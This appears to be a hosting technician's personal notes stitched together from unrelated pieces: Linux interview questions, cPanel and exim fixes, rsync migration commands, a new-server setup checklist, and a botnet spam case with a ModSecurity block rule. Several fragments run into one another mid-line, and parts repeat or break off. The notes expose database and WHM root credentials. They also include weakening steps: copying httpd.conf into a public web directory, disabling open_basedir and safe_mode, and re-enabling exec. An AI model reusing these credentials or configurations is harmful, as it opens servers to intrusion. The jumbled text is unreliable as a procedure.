39. How to assign temporary IP address to lan-card?

40. How to recover grub on linux server?

41. How to setup log rotation on linux server?

42. How to see only sub-directory in directory?

43. How to see only files in directory?

44. How to replace the word without opening the file?1. what is ddos attack and how to prevent?

2. What is file system?

3. What is IP spoofing?

4. Port Numbers.

5. How to work FTP and what is use of port 20 and 21?

6. What is kernerl?

7. How many tables in iptables?

8. What are shell variables? 

9. What is 'inode'? 

10. What are the main differences between RHEL4 & RHEL5? 

11. What is difference between imap and pop?

12. Describe linux boot sequence:

13. What different between port and protocols?

14. What is the difference between UDP and TCP internet protocols?

15. What is a zombie process?

16. What is difference between daemon and process?

17. Logs location.

18. difference between unix and linux?

19. What are the main differences between RHEL4 & RHEL5? 

20. What are seven fields in the /etc/passwd file?

21. What is a filesystem?

22. What command is used to remove the password assigned to a group? 

23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?

24. Which file defines all users on your system? 

25. What is the minimum number of partitions you need to install Linux? 

26. What is a PID?

27. Difference between Hard Link and Soft Link in Linux?

28. What is Raid? The different types and Levels of Raid?

29. What is NFS? What is its purpose?

30. What does nslookup do?

31. What is .htaccess?

32. How many field in crontab?

33. Which log contains information on currently logged in users?

34. What is DNS?

35. How do you create a swapfile?

36. How to get the mysqlbackup and restore?

37. Where is located hardware configuration file in linux?

38. Whats the advantage of using ssh over telnet?

39. How to assign temporary IP address to lan-card?

40. How to recover grub on linux server?

41. How to setup log rotation on linux server?

42. How to see only sub-directory in directory?

43. How to see only files in directory?

44. How to replace the word without opening the file?vi /var/named/domain.db
/etc/init.d/named restart
SCRIPT TO CHECK REMOTE DATABASE CONNECTION :

<?php
$Host = "localhost"; //you can use IP address instead of localhost
$User = "curtisof_outnet";
$Password = "outnethk";
$Database = "curtisof_sites";
$Link_ID=mysql_pconnect($Host, $User, $Password);
if(!$Link_ID)
{
echo"Failed";
return 0;
}	
else
{
echo "Connection to the database - successful";
}

if(!@mysql_select_db($Database,$Link_ID))
{
echo "<br>cannot use Database=".$Database;
}
else
{
echo "<br>connected to Database=".$Database;
}

?><?php
# $ip=@$REMOTE_ADDR;
$ip=$_SERVER['REMOTE_ADDR'];
echo "<b>IP Address= $ip</b>";
?>

to get IP of site visitor.
Error :

T=remote_smtp defer (-53): retry time not reached for any host


open opendns.com

208.67.222.222
208.67.220.220

add these ip's into 


pico /etc/resolv.conf

and restart named and exim

****************************************************************************

http://forums.cpanel.net/f43/t-remote_smtp-defer-53-retry-time-not-reached-any-host-72383.html

LOG: retry_defer MAIN
== test@******.com R=lookuphost T=remote_smtp defer (-53): retry time not reached for any host




This can be caused by multiple things, however if it happens for each email, it's likely your exim databases are corrupt; to resolve this you should:

/usr/sbin/exim_tidydb -t 1d /var/spool/exim retry > /dev/null 
/usr/sbin/exim_tidydb -t 1d /var/spool/exim reject > /dev/null 
/usr/sbin/exim_tidydb -t 1d /var/spool/exim wait-remote_smtp > /dev/null

/scripts/courierup -- force
/scripts/eximup --force

If you did that, yet the problem persists, you can either seek professional help, or contact the cPanel support.
***********************************************************************************************

http://linuxhostingtech.wordpress.com/2010/06/05/exim-error-tremote_smtp-defer-53/

How To Test Check If Mod_rewrite Is Enabled

We will be creating two files: 
- rewrite.php 
- .htaccess 

IMPORTANT: its important that you do not change the name of the files we are creating on this post. if for example you choose not to call rewrite.php and choose to call this file something else like testing.php for example, it will not work. YOU MUST name the files as specified on this tutorial, otherwise, you will have problems. so follow instructions carefully 

1. Open a blank notepad document 

2. Copy and paste the following code into the blank notepad 




<h2 align=center><?php /* mod_rewrite Test Page *//* Copyright 2006 Webune.com */if($_GET['link']==1){echo '<span style="color:red">You are not using mod_rewrite - Try LINK2</span>';} elseif($_GET['link']==2){echo'<span style="color:green">Congratulations!! You are using Apache mod_rewrite</span>';} else{echo '<span style="color:blue">Linux Apache mod_rewrte Test Tutorial</span>';} ?></h2><hr><title>How To Test mod_rewrite in Apache Linux Server</title><p align="center"><a href="http://www.webune.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.html"><p><a href="rewrite.php?link=1" style="color:red"><strong>LINK 1</strong></a> = LINK 1 Does NOT use Mod Rewrite. LINK 1 uses standard URL: <u>rewrite.php?link=1</u></p><p><a href="link2.html" style="color:green"><strong>LINK 2</strong></a> = LINK 2 - Yes, Uses Apache's Mod Rewrite using this URL:: <u>link2.html</u><br><br><br>How this works: both links are for this same page, except they both are different. link one is without the mod_rewrite and link2 is using mod_rewrite. Link1 show the php file, with with mod_rewrite we are mascarading the php file into a html file. you can use whatever type of extension you want, you can change it to .htm or .shtml etc... all you have to do is to make sure you also chang it in the .htaccess file</p><p>NOTE: when you click on LINK2, you should see a message that says: Congratulations!! You are using Apache mod_rewrite</p><p>500 ERROR: If you get a 500 Error, this means you made a typo or mistake creating the files OR you are not allowed to use .htaccess</p><p>404 ERROR: if you get a 404 error, then this means you do not have Mod_Rewrite on this server.</p><p></p><p>&lt;&lt; <a href="http://www.webune.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.html"></p>

3. Now Save the file as "rewrite.php" - When you 'Save As..' in notepad, be sure to put quotes when you are saving the file, otherwise, notepad will add a .txt extension to the file, like this: rewrite.php.txt - is should only be rewrite.php, thats why you have to include the quotes 

4. Now create a file called .htaccess - to make this type of file, open another blank notepad document 

5. Copy and paste the following code into the .htaccess file: 

# SCRIPT CREATED BY WEBUNE.COM 
# THIS WORKS WITH rewrite.php FILE 
# READ MORE AT: http://www.webune.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.html 
RewriteEngine On 
RewriteRule ^link([^/]*).html$ rewrite.php?link=$1 [L] 



6. Save as ".htaccess" (if you are using notepad as I am, make sure to put quotes in between .htaccess example: ".htaccess" otherwise, notepad will create a file called .htacces.txt and we don't need the .txt at the end only .htaccess) 

7. Now upload these two file into a new directory in your site. for example: test/ 

8. Open the rewrite.php file with your browser to the location you just uploaded. for example: 

http://www.your_website.com/test/rewrite.php

9. you should see two links, LINK1 and LINK2 Click on LINK1 and the same page will display. 

10. Now click on LINK2 and the same page will display with the a mod_rewrite message. If it doesnt you either did something wrong. Check your steps. If you checked your steps, refresh your browser, and if refreshing doesnt work, then you dont have mod_rewrite enabled or you dont have permission to run .htaccess files on your website. talk to your web hosting company to make sure they allow apache .htaccess - Some hosting companies do not allow .htaccess because some people take advantage of this feature, so many web hosting companies block their users from using. so check with them 


If you get a 500 Error, then you do not have mod_rewrite enabled in your server. Or if mod_rewrite is not working for you and you are a Webune customer, please contact our support team to assist you. 

***************************************************

http://www.webune.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.htmlProcedure to change root login to vicksream user

First off all keep login via SSH in server with root login

and now open new session with root login 

1. 
userdel njsghdow
adduser 3gteam     -- will add 3gteam user
passwd 3gteam      --  this will change the password for 3gteam user. Put the password from database for 3gteam

2.  

Setting root login : 


root@rhodium [~]# vi /etc/ssh/sshd_config

Set the followring values : 

Port 1097
#Port 22

#PermitRootLogin no    from  #PermitRootLogin yes

Save the changes and exit from this file.

3.  Now restart the sshd service.

/etc/init.d/sshd restart

4.  Now open the file :

pico  /etc/group
put the user 3gteam against the value wheel

wheel:x:10:root,3gteam

exit from this file and save the changes.

5.  Now check the port 1097 is added or not 

pico /etc/csf/csf.conf

add the port 1097 in TCP_IP and TCP_IN and restart csf service 

csf -r

Also restart the sshd service again

and try to ssh with the new session with 3gteam and 1097 port.
******************************************************************************
Setting up user login :

userdel njsghdow
adduser 3gteam
passwd 3gteam


vi /etc/ssh/sshd_config
permit root login no

prt no 1097

service sshd restart

vi /etc/group
add in wheel
  : for this go to  /etc/  , pico group and search the word : wheel and set the new user like 

wheel:x:10:root,3gteam
login as root

Email on root login:

1. cd /root

2. pico .bashrc

3. Scroll to the end of the file then add the following:  as per server name

echo 'ALERT - Root Shell Access on:' `date` `who` | mail -s "Alert: Root Access on saint.site.com from `who | cut -d"(" -f2 | cut -d")" -f1`" rootlogin@minmaxgroup.com

4.  exit and su -  again*  to block the IP in router :
route add -host 114.69.241.130 reject

* we have tried this cmd to unblock ip from route  and it worked:
route del 114.69.241.130

* to check whether the IP is blocked in router or not.
 route -n | grep 114.69.241.130

http://linux-ip.net/html/tools-ip-route.html

rsync -vrplogDtH /var/lib/mysql root@IPAddress:/var/lib
rsync -vrplogDtH /var/cpanel root@IPAddress:/var
rsync -vrplogDtH /usr/local/apache/conf root@IPAddress:/usr/local/apache
rsync -vrplogDtH /usr/local/frontpage root@IPAddress:/usr/local
rsync -vrplogDtH /var/named root@IPAddress:/var 
rsync -vrplogDtH /var/ssl root@IPAddress:/var
rsync -vrplogDtH /var/spool/cron root@IPAddress:/var/spool
rsync -vrplogDtH /usr/share/ssl root@IPAddress:/usr/share
rsync -vrplogDtH /etc/vfilters root@IPAddress:/etc
rsync -vrplogDtH /etc/proftpd root@IPAddress:/etc 
rsync -vrplogDtH /etc/vmail root@IPAddress:/etc
rsync -vrplogDtH /home/* root@IPAddress:/home
rsync -vrplogDtH /usr/local/cpanel root@IPAddress:/usr/local
rsync -vrplogDtH /usr/local/cpanel/3rdparty/mailman root@IPAddress:/usr/local/cpanel/3rdparty
rsync -vrplogDtH /var/log/bandwidth root@IPAddress:/var/log
rsync -vrplogDtH /root/.my.cnf root@IPAddress:/root
rsync -vrplogDtH /etc/httpd/conf/httpd.conf root@IPAddress:/etc/httpd/conf/
rsync -vrplogDtH /etc/sysconfig/network root@IPAddress:/etc/sysconfig

=================================================


rsync -vrplogDtH /home/gius/ root@67.23.226.107:/home



Use following command

rsync -avHP /home/username/public_html  root@server_ip:/home/usernamersync -av --progress --rsh="ssh -l 3gteam" saurabhj/ 66.7.193.3:/usr/local/apache/htdocs/saurabhj/
================================================================================

scp -rp cpmove-saurabhj.tar.gz 3gteam@66.7.193.3:~

scp -rp comove-filename.tar.gz serverusername@serverIP:~

where the server ip is the ip on which server you have to move the accunt 

and run the command on the server from which you have to move the account

scp -rp cpmove-saurabhj.tar.gz /home/

scp -rp filename destination
rsync -avHP /home/ukotvcom/public_html/ root@oyster.site.com:/home/ukotvcom/public_html/


 rsync -avHP cpmove-abdturkc.tar.gz root@oyster.site.com:/home/




 rsync -acHP /var/cpanel/userdata/ukotvcom  root@oyster.site.com:/var/cpanel/userdata/









 rsync -acHP  /var/cpanel/users/ukotvcom  root@oyster.site.com:/var/cpanel/users/





rsync -acHP  /etc/valiases/ukotv.com   root@oyster.site.com:/etc/valiases/




[root@formula ~]# tty
/dev/pts/4
[root@formula ~]# ps -a
  PID TTY          TIME CMD
13723 pts/0    00:00:00 vim
18306 pts/4    00:00:00 su
18738 pts/4    00:00:00 bash
18795 pts/5    00:00:00 su
18796 pts/5    00:00:00 bash
18871 pts/0    00:00:00 su
18874 pts/0    00:00:00 bash
19144 pts/3    00:00:00 su
19150 pts/3    00:00:00 bash
21333 pts/4    00:00:00 ps
26617 pts/1    00:00:00 su
26630 pts/1    00:00:00 bash
27184 pts/2    00:00:00 su
27187 pts/2    00:00:00 bash
[root@formula ~]# kill -9 26630 26617 27184 27187
[root@formula ~]# ps -a
  PID TTY          TIME CMD
13723 pts/0    00:00:00 vim
18306 pts/4    00:00:00 su
18738 pts/4    00:00:00 bash
18795 pts/5    00:00:00 su
18796 pts/5    00:00:00 bash
18871 pts/0    00:00:00 su
18874 pts/0    00:00:00 bash
19144 pts/3    00:00:00 su
19150 pts/3    00:00:00 bash
21750 pts/4    00:00:00 ps
[root@formula ~]# kill -9 13723 18871 18874
[root@formula ~]# ps -a
  PID TTY          TIME CMD
18306 pts/4    00:00:00 su
18738 pts/4    00:00:00 bash
18795 pts/5    00:00:00 su
18796 pts/5    00:00:00 bash
19144 pts/3    00:00:00 su
19150 pts/3    00:00:00 bash
22205 pts/4    00:00:00 ps
[root@formula ~]#



Moved file in home and follow following steos 

Main >> Backup >> Restore a Full Backup/cpmove file



scp cpmove-phainswo.tar.gz root@oyster.site.com:/home/


rsync -avHP cpmove-abdturkc.tar.gz root@oyster.site.com:/home/


/var/lib/mysql  --- /var/cpanel/userdata/username ---- /var/cpanel/users/username ---
[5:09:46 PM] techsupportco6: /etc/alises/username
[5:09:55 PM] techsupportco6: Move all these
[5:22:16 PM] techsupportco6: rsync -acHP /var/cpanel/userdatat/usernamre root@hostname:/var/cpanel/userdata/
[6:47:14 PM] techsupportco6: 8904786377

http://www.rvsitebuilder.com/index.php/main/public/action/view/page/tutorials

Support ticket :

https://support.cpanellicense.com/support-center/index.php?x=&mod_id=4&t=4

************************************************************


Issue : 

Tue, 20 April, 2010 9:49:01 AM
[SB #BSU-66757-843]: Error when configure FAQ module using rvsitebuilder
From:	
"helpdesk@cpanellicense.com" <helpdesk@cpanellicense.com>
Add to Contacts
To:	whwtest@yahoo.com	
Dear whwtest@yahoo.com,

This is an automated response to inform you that your ticket has been received, one of the staff members will review it and reply accordingly. Listed below are details of this ticket.

    -------Ticket Details-------
    Ticket ID: BSU-66757-843
    Subject: Error when configure FAQ module using rvsitebuilder
    Department: RVSiteBuilder

If you reply to this ticket, please make sure the Ticket ID remains in the subject at all times.

You also be able to check the status or reply to this ticket online at:

http://support.cpanellicense.com/support-center/index.php?x=&mod_id=5&ticket=BSU-66757-843

If you access to the system for the first time, please register using whwtest@yahoo.com as your contact email.
If you already have an account but forgot password, please click 'Forgot Password?' link to request new password.

Please do let us know if we can assist you any further,
--~--~---------~--~----~------------~-------~--~----~
Web Experts Co.,Ltd.

http://www.cPanelLicense.com


http://www.RVSkin.com

--
RV Global Soft Co.,Ltd.

http://www.RVSiteBuilder.com

--~--~---------~--~----~------------~-------~--~----~


RVSITE Builder Problem : 

I am facing the error when i try to configure FAQ module using rvsitebuilder  into customised data base and getting the error like : 
> > > 
> > > URL : http://redwebhost.com.ar/rednomina/
> > > 
> > >Warning: require_once(/home/redwebho/.rvsitebuilder/seagull/lib/SGL/FrontController.php) [function.require-once]: failed to open stream: No such file or directory in /home/redwebho/public_html/rednomina/rvscommonfunc.php on line 114
> > > 
> > > Fatal error: require_once() [function.require]: Failed opening required '/home/redwebho/.rvsitebuilder/seagull/lib/SGL/FrontController.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/redwebho/public_html/rednomina/rvscommonfunc.php on line 114



Solution :

Hello,
We not do anything, because we still cannot SSH to your server. We just try to republish, and it's work. :)

In the future, if the error comes again please try to force update using following commnad.


rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/var/INSTALL_COMPLETE.php
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/rvsitebuilderversion.txt
perl /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/autoinstaller.cgi
perl /var/cpanel/rvglobalsoft/rvsitebuilder/panelmenus/cpanel/scripts/autofixphpini.pl
/scripts/makecpphpFOR LICENCE ERROR :
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/rvsitebuilder.lic
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/rvsitebuilder-pro.lic
perl /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/autoinstaller.cgi
==================
licence error 67.23.226.189(67.23.226.189) is not found.
We need to login rvsitebuilder account and select correct licence.
==================
RVSite Builder Error : 


Warning: require_once(/home/vxentcom/.rvsitebuilder/seagull/lib/SGL/FrontController.php) [function.require-once]: failed to open stream: No such file or directory in /home/vxentcom/public_html/rvscommonfunc.php on line 114

Fatal error: require_once() [function.require]: Failed opening required '/home/vxentcom/.rvsitebuilder/seagull/lib/SGL/FrontController.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/vxentcom/public_html/rvscommonfunc.php on line 114


Please SSh to server as root and force update using this command.

rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/var/INSTALL_COMPLETE.php
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/rvsitebuilderversion.txt
perl /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/autoinstaller.cgi

Disable safe_mode & openbase_dir  with .htaccess

php_admin_flag safe_mode off
php_admin_value open_basedir nonePlease wait while we find an agent to assist you... 
You have been connected to Robert Lin. 
Robert Lin: hi 
talker: how do I get a thawte logo to put on my site with ssl installed 
Robert Lin: May I know what is the order number of your certificate request ? 
talker: hold on 
talker: 8509485 
talker: domain www.katzeyezeyewear.com 
Robert Lin: ok this is the order number of your certificate : AUKATZ2 
Robert Lin: you will need to use this order number to obtain the script for the site seal 
Robert Lin: This will help you to obtain the site seal : http://search.thawte.com/thawte/solution.jsp?id=vs4015 
talker: let me check 
talker: ok thanks cat /etc/httpd/conf/httpd.conf > /usr/local/apache/htdocs/http.txtSteps for Server Configuration
==========================================================

I >First login to poweradmin  One and two  (Add Supermaster zone)

IP---new server IP

Host name -- ns1.site.com or 1.nseasy.com

Account : server name  ex : accord 	



II >After that Search Zone and Records  ---site.com

After that Edit and Add A record(Ip of the new server)



III > After that open another shell(another server) and type vi /etc/named.conf
        Copy the line also-notify with IP address and semi colon

        and New server : vi /etc/named.conf
         Paste the also notify lines
        and save (:wq!)


IV > On the shell of the new server, type   useradd 3gteam
                                                            passwd 3gteam
       Enter the password for 3gteam.
       Restart sshd


V >  Then vi /etc/group
       wheel:x:10:root,3gteam


VI >Then  vi /etc/ssh/sshd_config
      Remove # and enter port number 1097
      Remove # and PermitRootlogin Yes Change to PermitRootlogin  No
      In WHM, In ConfigServer Security & Firewall, Firewall Configuration and add the IP 1097 in TCP_IN and TCP_Out


VII >Go to WHM >> ConfigServer Security & Firewall >> Check Server Security >> Check /tmp permissions  , Check        /var/tmp permissions,  Check /usr/tmp permissions  Change all permissions as given in WHM on the shell



VIII >Check the php.ini file of the another server and compare it with the new server(Disable functions >> Just          remove   exec from the shell and restart apache )


IX >In WHM,, type Suexec,  PHP and SuExec Configuration  >> php 5 hander >>Drop down (select dso) and save       changes 


X > Check in another server for mysql connection  > vi /etc/my.cnf   (the values should be same  on the new server)


XI >Go to http://configserver.net/   >> ConfigServer Mail Queues  >> Right click  >> wget       http://configserver.net/free/cmq.tgz
      Then go down on the link ConfigServer Mail Queues (install.txt) >> Click >> 

     On the shell 
    >> tar -xzf cmq.tgz
    >> cd cmq/
     >>sh install.sh

Refresh WHM and you will see ConfigServer Mail Queues  at the left side bottom

       Then open the link ConfigServer Mail Manage  from http://configserver.net/ and wget the link ( wget         http://configserver.net/free/cmq.tgz)


        ConfigServer Mail Manage  >> install.txt >> Click

        On the shell

       tar -xzf cmm.tgz
       cd cmm/
       sh install.sh
       Login to WHM and scroll to the bottom of the left hand menu and you should see "ConfigServer Mail Manage"

If http command is not there on the server, then on the another server, type which http.
You will get a path for http. Then go in that path by vi /bin/http and on the new server, go by cd /bin and vi http and copy the code from old server(vi /bin/http)



XII  >Open a Old server WHM and edit packages  >> and add package on a new server and enter the values as it is.



XIII >Then WHM >> Feature manager
Add Excite  >>Feature List Name >> Excite >> Add >> Remove Click Be as we do not provide Click Be 



XIV >>Create a account as vanessatestjade.com(Example) from WHM >> Create account >>Package Excite



XV >> Then run the command /scripts/fixquotas on the server


XVI >> Login to shell of Prime server(if the new server configured is of site), prime port is 22 and root as user
           /scripts/whoowns network-command.com
           cd public_html/status03(if adding in 3rd page )
           vi config.php
           Add the new server in the server list


XVI >> Check the entries of the new added domain (step XIV) In the PowerDNS 1 and 2



XVII >> WHM >> Tweak Settings >> When adding a new domain, automatically create A entries for the registered        
          nameservers if they would be contained in the zone. >> Unselect   


XVIII > Correct the following block in httpd.conf according to the server:  
             vi /etc/httpd/conf/httpd.conf


Just above the second block (pid) place the following

NameVirtualHost 67.23.226.97:80   (new server IP)

<VirtualHost 67.23.226.169> 
ServerName accord.site.com 
DocumentRoot /usr/local/apache/htdocs
</VirtualHost>



Add one more option in configuration file

http://67.23.226.139:2086/scripts6/do_edit_contact_info

 This we have to disable
 Go to WHM >> Support >> Configure Customer Contact  >> Disable  and save

XIX >> cd /usr/local/apache/htdocs
           Search for the file serverstats_inc.php

           If not there, copy from any other server
           cat   serverstats_inc.php
           Copy and paste on the new server
    
       Restart apache


XX >> Change password on the shell with passwd
          Put any password 
          Save
          Save in the Database
          In the data base Edit(Add Entry)  Title(Server name)  Username : IP  Password : New one
====================================================


Checks :

[1:14:07 PM] bluffer: 

- suPHP
- Fantastico
- RV SiteBuilder
- Configure with NS: 1/2.nsjet.com 'clsuter'
- NS entry for hostname in 1/2.nsjet.com
- SSL on hostname & services
- Temp url /~user
- CSF
- Root Login notification
- Add to Stats
- Add to Panopta
- Packages are NOT required
- Disable root login / Wheel user '3gteam'
- Disable Customer Contact
- Remove Supprot from Feature manager
- Run AXOND script ( host dime script ) 
- Configure backup and setup cron
- Install kernel script
- tmp secure
- Add commands --( killwhom, hload , http, check, blockdo )

====================================================

server details
[10:23:36 AM] bluffer: 1)Important Links
accord.site.com
Web Host Manager: https://67.23.226.169:2087 
WHM Username: root 
WHM Password: k|4mJ:tPbf
port :1157


 directory "/var/named"; // the default
    dump-file             "data/cache_dump.db";
    statistics-file     "data/named_stats.txt";
    memstatistics-file     "data/named_mem_stats.txt";


   /* memstatistics-file     "data/named_mem_stats.txt"; */
    allow-transfer {"none";};


also-notify {
                67.19.91.74;
                66.7.219.224;
};
};


Steps for Server Configuration
==========================================================

I >First login to poweradmin  One and two  (Add Supermaster zone)

IP---new server IP

Host name -- ns1.site.com or 1.nseasy.com

Account : server name



II >After that Search Zone and Records  ---site.com

After that Edit and Add A record(Ip of the new server)



III > After that open another shell(another server) and type vi /etc/named.conf
        Copy the line also-notify with IP address and semi colon

        and New server : vi /etc/named.conf
         Paste the also notify lines
        and save (:wq!)


IV > On the shell of the new server, type   useradd 3gteam
                                                            passwd 3gteam
       Enter the password for 3gteam.



V >  Then vi/etc/group
       wheel:x:10:root,3gteam


VI >Then /etc/ssh/sshd_config
      Remove # and enter port number 1097
      Remove # and PermitRootlogin Yes Change to PermitRootlogin  No
      In WHM, In ConfigServer Security & Firewall, Firewall Configuration and add the IP 1097 in TCP_IN and TCP_Out


VII >Go to WHM >> ConfigServer Security & Firewall >> Check Server Security >> Check /tmp permissions  , Check        /var/tmp permissions,  Check /usr/tmp permissions  Change all permissions as given in WHM on the shell



VIII >Check the php.ini file of the another server and compare it with the new server(Disabled functions >> Just          remove   exec from the shell and restart apache )


IX >In WHM,, type Suexec,  PHP and SuExec Configuration  >> php 5 hander >>Drop down (select dso) and save       changes 


X > Check in another server for mysql connection  > vi/etc/my.cnf   (the values should be same  on the new server)


XI >Go to http://configserver.net/   >> ConfigServer Mail Queues  >> Right click  >> wget       http://configserver.net/free/cmq.tgz
      Then go down on the link ConfigServer Mail Queues (install.txt) >> Click >> 

     On the shell 
    >> tar -xzf cmq.tgz
    >> cd cmq/
     >>sh install.sh

Refresh WHM and you will see ConfigServer Mail Queues  at the left side bottom

       Then open the link ConfigServer Mail Manage  from http://configserver.net/ and wget the link ( wget         http://configserver.net/free/cmq.tgz)


        ConfigServer Mail Manage  >> install.txt >> Click

        On the shell

       tar -xzf cmm.tgz
       cd cmm/
       sh install.sh
       Login to WHM and scroll to the bottom of the left hand menu and you should see "ConfigServer Mail Manage"



XII  >Open a Old server WHM and edit packages  >> and add package on a new server and enter the values as it is.



XIII >Then WHM >> Feature manager
Add Excite  >>Feature List Name >> Excite >> Add >> Remove Click Be as we do not provide Click Be 



XIV >>Create a account as vanessatestjade.com(Example) from WHM >> Create account >>Package Excite



XV >> Then run the command /scripts/fixquota on the server


XVI >> Login to shell of Prime server(if the new server configured is of site), prime port is 22 and root as user
           /scripts/whoowns network-command.com
           cd public_html/status03(if adding in 3rd page )
           vi config.php
           Add the new server in the server list


XVI >> Check the entries of the new added domain (step XIV) In the PowerDNS 1 and 2



XVII >> WHM >> Tweak Settings >> When adding a new domain, automatically create A entries for the registered        
          nameservers if they would be contained in the zone. >> Unselect   


XVIII > Correct the following block in httpd.conf according to the server:  
             vi /etc/httpd/conf/httpd.conf



NameVirtualHost 66.7.199.176:80(New Server IP)

<VirtualHost 66.7.199.176>(New server IP)  
ServerName saint.site.com (New server name)     
DocumentRoot /usr/local/apache/htdocs
</VirtualHost>




XIX >> cd /usr/local/apache/htdocs
           Search for the file serverstats_inc.php

           If not there, copy from any other server
           cat   serverstats_inc.php
           Copy and paste on the new server
    
       Restart apache


XX >> Change password on the shell with passwd
          Put any password 
          Save
          Save in the Database
====================================================





http://reports.panopta.com/MinMax.UptimeHow to Configure FileZilla 2.2.32 for Secure File Transfer Protocol (SFTP) - (Windows XP/Vista)

Once correctly configured, FileZilla 2.2.32 supports secure file transfer protocol (SFTP) connections.

Configuring FileZilla for SFTP

Important: Before configuring FileZilla 2.2.32 to run in SFTP, check with your Local Support Provider (LSP) to ensure your School, Department, or administrative unit supports SFTP. Since the instructions below are basic, you should also check with your LSP for any special instructions that may apply.

Start FileZilla 2.2.32 (Start  All Programs FileZilla  FileZilla 2.2.32).
From the File menu, select Site Manager... . The Site Manager windows displays.
Click the New Site button located in the bottom left corner of the window. A New FTP site icon appears beneath the My FTP Sites folder icon:
In place of the displayed words New FTP site, type a descriptive name for your new SFTP site profile (e.g., myserver SFTP).
Click in the Host field, then type the actual host name of the new SFTP site (e.g., myserver.upenn.edu).
Beneath Servertype, click the down arrow and select SFTP using SSH2.
Beneath Logontype, select the Normal radio button.
In the User field, enter your username.
Click the Save and Exit button at the bottom right of the window.
You have successfully created an SFTP site profile. When you next connect to this new SFTP site, you will be prompted to enter your password after entering your username.
Using FileZilla to Connect to the New SFTP Site for the First Time

Start FileZilla 2.2.32 (Start  All Programs  FileZilla  FileZilla 2.2.32).
From the File menu, select Site Manager... . The Site Manager window displays.
Beneath My FTP Sites, select the new SFTP site you just created (for example, myserver.upenn.edu); then press the Connect button.
When prompted, enter your password in the dialog box.
The first time only that you connect to your server, the a dialog box will display with a message stating that the server's host key is not cached in the registry, and asking to store key in cache? Click Yes to store the SSL certificate.
Your Local Site files will now display in the left panel of the screen, and Remote SFTP Site files will display in the right panel of the screen.
When finished, disconnect from the directory by selecting Disconnect from the File menu, and then select Exit from the File menu.chsh -s /usr/local/cpanel/bin/jailshell usershttp://www.xml-sitemaps.com/set  keepalive off if sites are working slow on site despite load < 7



Horde Failed to connect to localhost:25 error message

Horde Failed to connect to localhost:25 error message
By Gunjan · August 6, 2010
On Shared server as well  as on Dedicated server some time we are facing large connection issue to SMTP port 25 at that time mostly we disable SMTP port 25 and enable any other port for SMTP but after changing SMTP port mostly we receive following error message in Horde webmail.

There was an error sending your message: Failed to connect to localhost:25 [SMTP: Invalid response code received from server (code: 421, response: Too many concurrent SMTP connections; please try again later.)]

To resolve above error simply change SMTP port from 25 to new SMTP port  in following file.

root@server [/usr/local/cpanel/base/horde/imp/config]# Pico servers.php

And change following line

From

‘smtpport’ => 25,

To

‘smtpport’ => 26,

We have taken new port as 26 for example you can use any port as per your requirement.

Similar problem with “Squirrelmail” then refer following steps.

root@server [/usr/local/cpanel/base/3rdparty/squirrelmail/config]#pico config_default.php

Change following line

From

$smtpPort = 25;

To

$smtpPort = 26;

Save file and exit and now open the webmail.

****************************************************

http://www.theperfectarts.com/SOAP enabled on : Air, Salute

php -m

session
SimpleXML
soap                              --------------------->
sockets
SourceGuardian
SPL
standard
tidy
tokenizer
wddx
xml
xmlreader
xmlrpc
xmlwriter
xsl
Zend Optimizer
zip
zlib


/var/cpanel/users/username
/scripts/updateuserdomains
/var/named/domain.db
/etc/named.conf
/usr/local/apache/conf/httpd.conf
/etc/localdomains
/etc/userdomains
/etc/trueuserdomains
/etc/trueuserowners
/etc/valiases/domain.com
/etc/vdomainaliases/domain.com
/etc/vfilters/domain.comSPAMMER ACTION CASE

https://core.hostdime.com/support/view/id/115396

The following Mod Security rule will prevent the execution of the malicious script:
======
SecRule REQUEST_URI "/(l_)?backuptoster(_r)?\.php[345]?" "phase:1,block,deny,drop,id:19160115,log,msg:'Botnet Spam Script Request',status:406"
======
The previous text should be appended as a single line to the existing contents of the [/usr/local/apache/conf/modsec2.user.conf] file.

The password of the [sabapalc] account should be changed (after unsuspension) and its operator notified that their systems are likely infected with botnet/other malware-class software and they should take action to remove it.

The following IP ranges should be blocked at the server's firewall:
======
204.45.121.104/29
204.45.119.96/29
======
These IP ranges encompass the sources of this attack.

Additionally, WHM offers a "SMTP Tweak" that can help reduce the likelihood of success of this kind of attack.
If CSF is installed on this server, its "SMTP_BLOCK" functionality should be used instead.

==========================
oot@salute [/home/sabapalc]# grep -ilr "backuptoste" *
access-logs/saba-pal.com
access-logs/ftp.saba-pal.com-ftp_log

root@salute [/home/sabapalc]# vi access-logs/saba-pal.com
220.181.108.160 - - [06/Feb/2011:07:26:54 -0500] "GET / HTTP/1.1" 200 2053 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
204.45.121.106 - - [06/Feb/2011:13:02:57 -0500] "GET /l_backuptoster_r.php?id=3506&ipAddr=204.45.121.106&serv_name=www.saba-pal.com HTTP/1.1" 200 28 "-" "-"
204.45.121.106 - - [06/Feb/2011:13:02:58 -0500] "GET /l_backuptoster_r.php?id=3511&ipAddr=204.45.121.106&serv_name=www.saba-pal.com HTTP/1.1" 200 28 "-" "-"
204.45.121.106 - - [06/Feb/2011:13:02:56 -0500] "GET /l_backuptoster_r.php?id=3500&ipAddr=204.45.121.106&serv_name=w

oot@salute [/home/sabapalc]# grep -ilr "backuptoste" *
access-logs/saba-pal.com
access-logs/ftp.saba-pal.com-ftp_log

root@salute [/home/sabapalc]# vi access-logs/saba-pal.com
220.181.108.160 - - [06/Feb/2011:07:26:54 -0500] "GET / HTTP/1.1" 200 2053 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
